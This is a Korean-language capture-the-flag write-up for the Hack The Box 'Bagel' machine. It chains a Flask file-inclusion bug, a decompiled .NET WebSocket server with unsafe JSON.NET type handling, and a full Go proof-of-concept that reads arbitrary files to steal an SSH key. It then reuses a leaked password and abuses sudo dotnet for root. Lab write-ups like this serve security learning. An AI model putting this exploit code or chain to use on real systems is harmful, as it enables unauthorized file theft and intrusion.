대상에서 오픈된것으로 확인되는 포트는 다른 머신과 동일하게 22/tcp
, 5000/tcp
. 8000/tcp
로 확인으며, bagel.htb
도메인으로 확인되었다.
naabu -host 10.10.11.201 -p - --nmap-cli "nmap -sV"
8000/tcp
는 Flask 웹 서비스로 확인되어 브라우저를 통해 http://bagel.htb:8000/
에 접근하니 /?page=index.html#
경로로 리다이렉트 되면서 아래와 같은 메인 페이지를 확인할 수 있다.
page
파라미터로 LFI 공격을 시도했으며 매우 쉽게 공격이 성공되는것을 파악할 수 잇었다.
생각해보면 핵더박스 리눅스 머신 문제는 대부분 LFI로 시작하는것 같다...😅
/proc/self/environ
을 확인하니 8000/tcp로 구동중인 Flask는 developer
계정으로 구동중인것을 확인할 수 있었다.
SecLists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt를 통해 리눅스 로컬 파일에서 중요정보를 찾아보려했으나 쓸만한 내용은 없었다.
이후 Flask를 구동중인 python 코드를 찾기위해 /proc/self/cmdline
파일에 접근했고, 웹 루트 디렉터리는 /home/developer/app/app.py
인것을 파악했다.
app.py 파일의 내용은 다음과 같다.
라우팅은 /
, /orders
로 확인됐으며 order() 함수의 주석 부분에서 dotnet을 통해 WebSocket 서버를 먼저 구동해야되는것으로 예상된다.
from flask import Flask, request, send_file, redirect, Response
import os.path
import websocket,json
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/'+request.args.get('page')
if os.path.isfile(page):
resp=send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "File not found"
else:
return redirect('http://bagel.htb:8000/?page=index.html', code=302)
@app.route('/orders')
def order(): # don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.
try:
ws = websocket.WebSocket()
ws.connect("ws://127.0.0.1:5000/") # connect to order app
order = {"ReadOrder":"orders.txt"}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
return(json.loads(result)['ReadOrder'])
except:
return("Unable to connect")
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
WebSocket 서버로 예상되는 특정 dll파일을 찾기위해 LFI를 통해 /proc/PID/cmdline 부분을 퍼징했고 아래와 같은 PID에서 dotnet이 돌고있는것을 파악할 수 있었고 dll 경로는 /opt/bagel/bin/Debug/net6.0/bagel.dll
로 확인된다.
다시한번 LFI로 bagel.dll파일을 다운로드하였으며, .NET으로 개발된 dll인것도 확인했다.
유니티 게임에서도 .NET을 사용하는데 이때 mono로 빌드할 경우 빌드 패키지 내 dll들을 dnSpy를 이용하여 디컴파일해 소스코드를 분석 할 수 있었는데, 이번에도 다운로드한 bagel.dll을 dnspy를 통해서 분석한다.
bagel_server.Bagel 클래스 생성자에서 ServerPort부분을 통해 위에서 예상했던 WebSocket 서버가 해당 dll인것을 파악
static Bagel()
{
Bagel._ServerIp = "*";
Bagel._ServerPort = 5000;
Bagel._Ssl = false;
Bagel._Server = null;
}
bagel_server.Bagel.MessageReceived 함수에서 WebSocket(ws://bagel.htb:5000/)로 전달된 JSON을 역직렬화하여 오브젝트로 변환하여 Newtonsoft.Json.JsonConvert.SerializeObject
를 통해 직렬화하고 처리한다.
private static void MessageReceived(object sender, MessageReceivedEventArgs args)
{
string json = "";
bool flag = args.Data != null && args.Data.Count > 0;
if (flag)
{
json = Encoding.UTF8.GetString(args.Data.Array, 0, args.Data.Count);
}
Handler handler = new Handler();
object obj = handler.Deserialize(json);
object obj2 = handler.Serialize(obj);
Bagel._Server.SendAsync(args.IpPort, obj2.ToString(), default(CancellationToken));
}
bagel_server.DB.DB_connection 함수에서 데이터베이스 계정 정보 파악
public void DB_connection()
{
string text = "Data Source=ip;Initial Catalog=Orders;User ID=dev;Password=k8wdAYYKyhnjg3K";
SqlConnection sqlConnection = new SqlConnection(text);
}
전 직장에서 Newtonsoft JSON을 통해 역직렬화 시 발생할 수 있는 취약점을 많이 점검했었다. 그렇기에 이 문제는 무조건 역직렬화 취약점일것으로 예상되어 Handler 클래스의 직렬화/역직렬화 함수를 확인해보니 직렬화/역직렬화 과정에서 TypeNameHandling 설정이 취약하게 구성되어있는 것을 파악할 수 있었다.
namespace bagel_server
{
// Token: 0x02000005 RID: 5
[NullableContext(1)]
[Nullable(0)]
public class Handler
{
// Token: 0x06000005 RID: 5 RVA: 0x00002094 File Offset: 0x00000294
public object Serialize(object obj)
{
return JsonConvert.SerializeObject(obj, 1, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
// Token: 0x06000006 RID: 6 RVA: 0x000020BC File Offset: 0x000002BC
public object Deserialize(string json)
{
object result;
try
{
result = JsonConvert.DeserializeObject<Base>(json, new JsonSerializerSettings
{
TypeNameHandling = 4
});
}
catch
{
result = "{\"Message\":\"unknown\"}";
}
return result;
}
}
}
참고
Attacking .NET deserialization - Alvaro Muñoz
Exploiting JSON serialization in .NET core
JSON.NET Deserialization
TypeNameHandling = 4
(TypeNameHandling = TypeNameHandling.All)
설정은 직렬화/역직렬화 시 클래스명을 지정할 수 있는 취약한 부분이 존재하여 TypeNameHandling.None(기본값)
으로 설정해야된다.
결과적으로 LFI를 통해 확인한 bagel.dll을 분석하여 다음과 같은 PoC 코드를 작성 할 수 있었다.
package main
import (
"encoding/json"
"flag"
"fmt"
"os"
"github.com/gorilla/websocket"
"github.com/projectdiscovery/gologger"
)
type RemoveOrderResponse struct {
UserID int `json:"UserId"`
Session string `json:"Session"`
Time string `json:"Time"`
RemoveOrder struct {
Type string `json:"$type"`
ReadFile string `json:"ReadFile"`
WriteFile any `json:"WriteFile"`
} `json:"RemoveOrder"`
WriteOrder any `json:"WriteOrder"`
ReadOrder any `json:"ReadOrder"`
}
func main() {
flag.Usage = func() {
flagSet := flag.CommandLine
fmt.Printf("Usage of %s:\n\n", os.Args[0])
order := []string{"p"}
for _, name := range order {
flag := flagSet.Lookup(name)
fmt.Printf("-%s\t%s\n", flag.Name, flag.Usage)
}
}
payload := flag.String("p", "", "Enter the path to the file to read")
flag.Parse()
if flag.NFlag() != 1 {
flag.Usage()
return
}
url := "ws://bagel.htb:5000/"
conn, _, err := websocket.DefaultDialer.Dial(url, nil)
if err != nil {
gologger.Fatal().Label("SOCKET-CONNET-ERR").Msgf("%s\n", err)
}
defer conn.Close()
data := `{"RemoveOrder":{"$type":"bagel_server.File, bagel", "ReadFile":"../../../../../..` + *payload + `"}}`
if err != nil {
gologger.Fatal().Label("SEND-DATA-GEN-ERR").Msgf("%s\n", err)
}
err = conn.WriteMessage(websocket.TextMessage, []byte(data))
if err != nil {
gologger.Fatal().Label("SEND-ERR").Msgf("%s\n", err)
}
gologger.Info().Label("SEND").Msgf("%s\n", data)
_, respData, err := conn.ReadMessage()
if err != nil {
gologger.Fatal().Label("RECV-ERR").Msgf("%s\n", err)
}
resp := RemoveOrderResponse{}
err = json.Unmarshal(respData, &resp)
if err != nil {
gologger.Fatal().Label("RECV-DATA-PARSE-ERR").Msgf("%s\n", err)
}
fmt.Printf("%s", resp.RemoveOrder.ReadFile)
}
이를 통해 WebSocket 서버(bagel.dll)은 phil 계정을 통해 동작하고있고 /home/phil/.ssh/id_rsa
를 탈취할 수 있었다.
id_rsa 파일을 이용하여 phil 계정에 ssh로 접근할 수 있었다.
위에서 bagel.dll의 코드를 디컴파일하여 확인한 DB 클래스의 DB 계정 정보를 확인된 유저인 developer, phil에 대입했으나 ssh 설정이 패스워드 로그인이 비활성화 되어있어 사용 불가능했음
sudo 권한을 확인해보려했으나 위에서 확인한 DB 계정 정보의 패스워드로는 불가능했다.
그래서 해당 정보를 통해 developer 계정으로 로그인 시도했으며, 로그인에 성공했다. (developer:k8wdAYYKyhnjg3K)
바로 sudo 권한을 체크해보니 dotnet
이 루트로 실행 가능했다.
dotnet LPE 트릭을 통해 쉽게 루팅이 가능했다 :)